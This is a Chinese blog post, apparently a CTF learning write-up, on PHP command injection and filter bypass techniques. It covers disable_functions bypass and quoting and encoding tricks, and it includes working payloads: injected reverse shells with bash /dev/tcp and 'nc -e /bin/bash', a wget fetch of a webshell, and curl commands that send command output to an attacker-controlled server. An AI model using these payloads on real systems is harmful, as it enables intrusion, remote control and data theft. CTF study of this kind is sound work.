這個題是第四屆強網杯也就是2020.8.22號開始的那場一道簡單的命令注入題,再這之前我並沒有學習過命令注之類的知識,,,看到題之后先搜在學,,誤打誤撞解了出來,過段時間wp就會放出來,所以這里就不對題目詳細介紹了,題目本身也比較簡單,直接給了PHP源碼,現學都來得及;;
解題參考的鏈接是:https://www.cnblogs.com/hetianlab/p/heetian.html
感謝大佬的無私分享!!!
在介紹命令注入之前,有一點需要注意:命令注入與遠程代碼執行不同。他們的區別在於,遠程代碼執行實際上是調用服務器網站代碼進行執行,而命令注入則是調用操作系統命令進行執行。
作為CTF最基礎的操作,命令執行的學習主要是為了以后進一步使用webshell打下基礎
同樣的,今天還會介紹如何使用各種命令執行繞過的方式
首先我們先來看代碼執行
動態調用:
這個地方是ctf曾經的一個考點,也是我在強網杯出過的一道題目,叫"高明的黑客",里面使用的就是混淆代碼+動態函數調用,這種寫法實際上在紅藍攻防中很經常用到(在實際過狗和編寫變形的一句話木馬的時候也是經常見到),就是一堆函數進行混淆,然后在里面插入一個動態函數進行真正的代碼執行或者是命令執行。
當時那道題目的靈感是來自於一場安全響應,黑客攻陷網站后,在里頭插入了混淆以后的代碼,1000多個文件里面只有一條路徑是正常執行的,最后是使用debug直接看棧內存的調用來判斷哪個路徑是真的動態調用。

其實就是簡單的變形一句話;
常見的命令執行函數

反引號為啥也可以呢?

這個是大家很容易忘記的一個命令執行點,ctf賽題最近也出了很多道關於這個的題目。我們在第二篇中會拿一個例子來詳細分析他的作用。
命令執行繞過
以上是我們常見的代碼注入或者是命令注入的函數,但是很多時候在ctf中,出題人不會那么輕易的就讓我們執行命令。因此我們必須要能夠掌握多種命令執行繞過的姿勢。
一般來說,遇到的無非以下兩種情況:
① disable_function
這個東西很明顯就是什么呢,你能夠代碼執行了,但是發現不論是蟻劍還是你自己手打,都執行不了系統命令,然后你用phpinfo這種函數讀取后發現如下配置:

說白了就是開發者禁用了這些函數;如果查看了PHP info發現是這種情況,,解法有很多種,網上有很多文章都有寫到,,直接搜索就行 ,這里簡單介紹兩種,,其中一種我另一篇博客有詳細寫
一、利用ld_preload
今年來比較少考到,但是在紅藍攻防中很經常應用
需要對面滿足條件是:對面沒有禁用mail函數(可能這也是最近比賽不愛考這個的原因之一,如果禁用了mail,那等於就是考察別的點了,不禁用mail又一堆人用這個方法繞過,也很沒有意思)操作方法: 
將帶有命令的c文件編譯成為.so文件然后通過代碼執行傳入(這里可以直接用蟻劍)
然后傳入如下php文件

訪問php文件就可以運行剛才的命令了。然后可以在/tmp/smity文件下看到ls的結果。
二、利用php_gc
從這兩次公益賽來看這個都是考點(春秋和高校)兩次的題目分別是:easy-thinking和php-uaf都是做到了代碼執行卻沒有命令執行,所以通常步驟就是,利用蟻劍鏈接我們的shell代碼執行,將下面的腳本寫好命令傳上去然后訪問,利用phpgc進程Bypass 條件:php7.0 < 7.3 (Unix) 這里的大家可以參考這個博客,里面有比較詳細的腳本,因為太長了就不貼在這里了 https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/ 另一篇博客有現成的腳本,直接用就OK
②、命令執行繞過(被過濾了字符)
這個限制一般是題目中允許你使用system,但是很奇怪的是你卻沒有辦法獲取執行命令的結果
比如,對面過濾了空格,你能執行ls,但是沒法cat讀取文件
比如,對面過濾了flag這個詞語,什么文件都可以讀取,就是沒辦法讀取flag
等等,都是ctf題目做到最后,這個出題人小心思故意在這里卡你一下。這個時候你就需要試試我接下來講的這些方法:
空格代替
空格在bash下,可以用以下字符代替空格

截斷符號
ctf很喜歡考的一點是命令執行的連接,這個地方它通常會給一個已有的命令執行,比如代碼寫好了ping命令,叫你填寫一個ip參數這樣的題目,這個時候就需要測試截斷符號,將你輸入的ip參數和后面要執行的命令隔開。首先測試所有的截斷符號:

利用截斷符號配合普通命令簡單問題基本就出來;例如:ip=127.0.0.1;cat /home/flag.txt這樣就可以達到同時執行兩條命令的效果
利用base編碼繞過
這種繞過針對的是系統過濾敏感字符的時候,比如他過濾了cat命令,那么就可以用下面這種方式將cat先base64編碼后再進行解碼運行。

連接符,用兩個單引號可以繞過
cat /etc/pass'w'd這個是現在很喜歡考的點之一,基本能通殺大部分命令注入waf因為單引號一旦過濾很大程度上會影響正常解題。

這次強網杯,就是用這個繞過對 flag 的過濾 ,用的是 fl'a'g
反斜杠利用
這個是很經典的hitcon題目,hitcon連續好幾年出了繞過長度限制執行命令的題目
比如七個字符執行命令
七個字的命令執行
這里先介紹一下小技巧,linux下創建文件的命令可以用1>1創建文件名為1的空文件

ls>1可以直接把把ls的內容導入一個文件中,但是會默認追加\n

\ 在linux里也是個連接符,最早使用在屏幕不能容納超過18個字符的第一代計算機,用於連接上下兩行,這里使用它來繞過限制
語句為wget 域名.com -O shell.php
ls > a 寫入服務器文件然后sh a 讀取
這里注意.不能作為文件名的開頭,因為linux下.是隱藏文件的開頭,ls列不出來
然而這里還有個問題,就是ls下的文件名是按照字母順序排序的,所以需要基於時間排序 將最后的命令改成ls -t>a

至於繞過5個字符執行命令,繞過4個字符,那其實都是用\做的trick,這里不一一贅述了。
命令執行結果返回長度受限制
這次在高校戰役上有一道題目提醒了我這個,出題人其實能過濾的就那么多,那么還有一種方法卡住你就是不讓你看到命令執行的完整結果,比如不回顯或者是回顯一行,這次題目需要用道soapclient做代碼執行,但是它有一點不好就是沒辦法回顯完整,只能看到一行結果,這樣對我們的命令執行很不方便,而且dev文件沒有權限使用,這個時候我們可以用下面這個反彈shell的辦法。
其實反彈shell的命令大家很喜歡用這個:
bash -i >&/dev/tcp/ip/port0>&1
但是這個有一點不好,他需要dev也需要bash,實際上用我下面這個命令會更簡單:監聽端口后
nc-e /bin/bash ip port
這樣也可以拿到shell,其實本質是一樣的,沒有太大區別,只是簡化了一下。
一道很經典的命令執行繞過
這個題目好像看到兩次了,一開始大家都不會腦洞,后來發現這次還是好多人沒有學會,也沒有去總結poc:


兩種方法
1.反彈shell
2.curl
反彈shell,我們這里可以使用;來連接命令,
$x;nc -e /bin/bash ip port
然后在自己服務器端口 nc -lvv 8080進行監聽
但是這題要是再難一點,沒有權限執行反彈shell這個操作呢
我們還可以用另一種方法:
curl的妙用
在curl里面有這幾種方式
直接ip發送get包
-d發送post包
-v 顯示整個通信過程
--data發送數據
這里可以使用curl -v http://ip?whoami
或者 curl -v http://ip --datawhoami
IP為自己服務器,就可以在/var/log/apache2/access.log下看到命令執行的結果了。
學習到的知識點:
查看flag 的時候如果用cat查看不了但是確實存在的話,可以用 tac 查看,兩者的不同之處就是 tac 是倒着查看文件,也就是從最后一行網上查看,你用cat查看不了的原因可能是文件過大;;
